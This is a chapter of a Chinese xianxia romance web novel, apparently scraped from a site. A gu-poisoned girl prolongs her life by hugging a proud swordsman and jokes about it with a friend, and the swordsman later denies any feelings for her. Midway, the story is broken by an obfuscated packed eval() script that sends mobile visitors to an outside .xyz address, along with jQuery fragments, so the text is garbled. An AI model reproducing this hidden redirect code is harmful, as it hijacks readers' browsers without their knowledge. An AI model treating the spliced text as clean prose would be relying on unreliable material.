石怜翠散学回来的时候看到的就是鱼娩孤零零躺在床上发呆。月影疏淡,斑驳的水影在她脸上摇曳。


    石怜翠洗漱完,动作轻盈地爬上塌,在鱼娩身边躺下,两人望着帐顶静默无言。


    鱼娩问:“今天教习都讲了什么,”


    “今天讲了新课,五行遁术。你没去,教习说总算能讲新课了。”


    鱼娩有些不高兴:“教习这是什么意思,孤立我?”


    石怜翠低声道:“也是哈,趁你不在学新课,太心机了。”


    不过翠翠心里不是这么想的。


    在鱼娩瘫床上之前,这门课一直在钻研御风术。教习是个强迫症,一定要班上每个弟子都学会,才肯作罢。


    鱼娩就是班上那最后一个还没有掌握的人。


    鱼娩学习的速度究竟有多慢呢?如果一定要具体形容一下,就是班上有一个痴呆,出生的时候脐带绕颈导致缺氧,以至于脑子不是那么好用。


    可突然有一天,痴呆御风起飞,鱼娩站地下人都看呆了。


    “说起来,你没有御风证,能离开灵域吗?”翠翠忽然问。


    这年头修仙什么都要证。丹修要考炼丹证,没证就是三无丹药:没来源,没期限,没炼丹证,吃了保不准要闹肚子的。


    伴随着灵域内修仙弟子越来越多,天空就那么大点地方,航行的人数受限,没有御风证的一律不准飞天。


    说起来,剑修才是最奢侈的,灵域内无论是弟子人数还是声望,剑修都排第一,每年光学费就能收不少,基本都有自己的专用航道。


    鱼娩总说:灵域一旦染上这种骄奢淫逸的风气,那就离倒闭不远了。


    “你这是吃不到葡萄说葡萄酸。”翠翠提醒她。


    是吗?


    也许还真的是。


    徐凌曾经被鱼娩烦不胜烦,问她怎样才能放过自己。


    鱼娩问:“这样吧,你送我一条御风专用航道我就不烦你。”


    徐凌二话不说走人,留给鱼娩的只有一脸尾气。


    如果鱼娩能有一条属于自己的专用航道,她不敢相信自己会是多么快乐的小女孩。


    “你这和直接问别人要房子有什么区别呢?”翠翠是真不敢想,那一条专属航道有多贵,池鱼娩能不知道吗?


    “你到底是谁的朋友?”鱼娩好寒心。


    翠翠闭上了嘴,做了一个缝上嘴巴的手势,不再说话了。


    鱼娩想了想,又说:“徐凌真是好心机啊。”


    “此话怎讲?”翠翠问她。


    “他说不定内心巴不得我纠缠他呢,不然他们剑修那么有钱,真想花钱消灾的话,专用航道又算什么?”


    翠翠有些一言难尽了,鱼娩的想法总是异于常人。


    鱼娩却越说越觉得有道理,她翻了个身,眼睛亮晶晶地盯着翠翠:“你没发现我把饭吃了吗?”


    石怜翠发现了,但她以为是鱼娩自己爬起来吃的,而此刻听来好似还有隐情。


    鱼娩把下午徐凌来看她的事说了一遍,问道:“以徐凌的性格,没事做会来看我吗?”


    “不会……所以徐凌来是有什么事吗?”


    “这才是最值得警惕的地方啊!他是那种无事不登三宝殿的性格,却来看我,多违背常理。只有一个解释,他挂念我,才会如此。”


    见翠翠不信,鱼娩又着急:“还有更可怕的是,他给我白嫖到了四十八天,我现在能活四十八天!我的娘呀,你敢想吗?”


    石怜翠睡意一扫而空,噌的一声从床上坐起,眼睛瞪得像铜铃:“你说什么?多少天?”


    鱼娩没想到她反应这么大,呆呆重复道:“……四,四十八天。”


    宛如一道轰雷将石怜翠劈了个通透。


    苍天呐!


    石怜翠即将以泪洗面。


    如果没记错的话,鱼娩的存活时间本来还应该有三天的吧?


    所以到底是从哪儿多出来的这四十五天啊!


    四十五这个整数真的太可怕,石怜翠不敢细想。


    抱一次加凿一次,搞得有零有整。


    她含泪问:“今天下午,就在这个房间中,你和徐凌到底发生了什么。”


    鱼娩微微一怔,悟了。


    “想什么呢,徐凌是那么好到手的人?我抱了他!”鱼娩伸出两个两只比划了数字,“三次,抱了三次。”


    “徐凌欠你钱了?”


    “别造谣。”


    “那他犯什么病?”


    “对我有好感也不叫犯病吧,我觉得我长得挺不错的。”


    那何止不错啊。不过翠翠还是要说:“难道徐凌看起来像是为美色所诱惑的人?”


    那还真不像。


    鱼娩憋了一会儿,把下午怎么坑徐凌抱了自己两次的事情讲给了翠翠听。


    包括徐凌这个死人最后留下的那句好伤人的话。


    石怜翠神情一言难尽起来。


    许久,她怅然:“徐凌这张嘴……好伤人,真的好伤人。”


    这种事上,翠翠永远和鱼娩统一战线。


    “你和谁在一起,做什么,都是你的自由。不就是和吕盟说了两句话,他怎么不说你还给吕盟一家揍得半死不活呢?况且他不知道就算了,咱俩可是门清,你本来就和徐凌不对付,接近他也只是为了活命,活命还管什么检点不检点的?就算真不检点,那又怎样?”


    翠翠越说越觉得有道理:“修士动辄就活个百来年的,还图他给你发个贞洁牌坊吗?”


    “有道理。”鱼娩附议,“徐凌不常居住灵域,要么和方牟圣者避世而居,要么随行云游,不大好找到人。所以我想的是,多攒一些存活天数,再去找情花丝。这样即便没有找到情花丝,也有足够的时间再去找徐凌续命。”


    目前也只有这一种解决方案了。


    合欢蛊在书中记载不多,知道底细的恐怕只有圣者。


    可若真当面去问圣者关于合欢蛊的事情,一眼就会被对方识破擅闯藏心洞,也是要下狱的。


    蛊毒爆发是一死,下狱更是生不如死。


    情花丝是目前唯一能看到希望的了。


    要么就只有挫骨扬灰这种解蛊的方法了。


    石怜翠深深叹气,又问:“不过这样下去,你真不会对徐凌动心吗?”


    抛开徐凌对鱼娩略显刻薄的态度,徐凌在整个灵域的风评不要太好。


    光风霁月,满怀冰雪,师承圣者,更是剑气横秋的正道名门,是近些年来最有望飞升的弟子。


    石怜翠只怕纠缠太深,鱼娩难免会动心。


    鱼娩真大吃一惊。


    “我对徐凌动心?除非我死,否则怎么可能对这种狗东西动心!我看他就跟看续命良药没什么区别。良药苦口,我没病当然不会吃一口,等蛊毒消解,我和他也就没有关系了。”</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14962760|161121||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    翠翠张了张嘴,终是没有说出口。


    她总觉得,鱼娩的人生和徐凌纠缠太深。两人本是不同底色的丝线,却丝丝缕缕缠绕至深,鱼娩的生命中,似乎一半都被徐凌这个名字占据。


    这好像也不是什么好事。


    徐凌踏入院府的一瞬间,侧身躲开凌冽剑气。


    剑气如虹,来势凶猛,执剑人见此剑未中却又折返而来。


    而这一次徐凌反手抽出身侧佩剑,此剑名为碎月,两剑相抵,那柄主动攻击的剑所展现出的剑气尽数为碎月所化解,徐凌伸手,纤白修长的指骨握住剑柄!


    收剑入鞘,徐凌抬手便是要折断手中那把剑。


    执剑人急了:“快停手!别折别折。”


    徐凌一顿,片刻,他松手。


    掌心剑自动归于剑主。


    徐凌转身,唤道:“师兄。”


    白微急得跳脚,刚把剑拿回来就反复检查了一遍,确定没有外伤之后,抱怨:“这是我的剑,我的剑啊师弟!共事这么多年你能不认得我的剑吗?你你你怎么能动手折剑呢?真给我命剑折了我不活了!”


    徐凌问:“我也想问你,见面不动嘴却动手,又是什么癖好?”


    “我这不是看看你这段时间修炼如何。”


    白微心疼地把剑收入鞘,跟上徐凌的脚步问:“不过回来倒没见着你。我原以为你与师父一同去加固护门大阵,如今看来却不是。”


    “去探望旧友。”


    “旧友?”白微奇道,“我们长居岐山,我竟不知你在灵域还有需要单独走一遭去探望的旧友。你不是一向多一事不如少一事的吗?你这旧友是男是女,又是何来历呢?”


    “你认识。”


    “我认识?”这话说了跟没说一样:“灵域之内我认识的人多的去了。师父和你都不喜人情往来,岐山之内所有往来都是我来打点,灵域上下认识的人更是不计其数,你指的是谁?”


    徐凌推开门,扔下一名字给他:“池鱼娩。”


    给白微顿时震在原地。


    回过神来他大踏步追过去,嗓音都喊破了:“你说谁?池鱼娩?!”


    “你去探病,探的还是池鱼娩?”白微好震惊,“你疯了吗徐凌?”


    徐凌没懂他为什么反应这么大。


    “人是我打伤的,去探病不是很正常吗?”


    是啊,很正常,徐凌这人责任心一直挺重的。


    但如果对象是池鱼娩,那就不正常了啊!


    白微幽怨地看他,颇有些一言难尽:“池鱼娩把你鱼吃了的事,你忘了吗?”


    “没忘。”


    “池鱼娩把你演武场搅得不得安宁的事,你忘了吗?”


    “没忘。”


    “池鱼娩发帖子阴阳怪气你的事,你忘了吗?”


    “没忘。”


    “那你为什么!”


    徐凌知道他想说什么,清隽背影一顿。他转身,神情淡的像一副洇开的黑白水墨。


    白微不由得一怔。


    “我伤了她,她卧病在床,我带药去探望,就这么简单。”


    白微嘴张了张,话在喉头憋了许久才问:“你不会……看上池鱼娩了吧?”


    乌浓细密的睫羽微动。


    少年轻声道。


    “我追求的只有剑术的至极之道,无心道侣一事。即便有,那个人也绝对不会是池鱼娩。”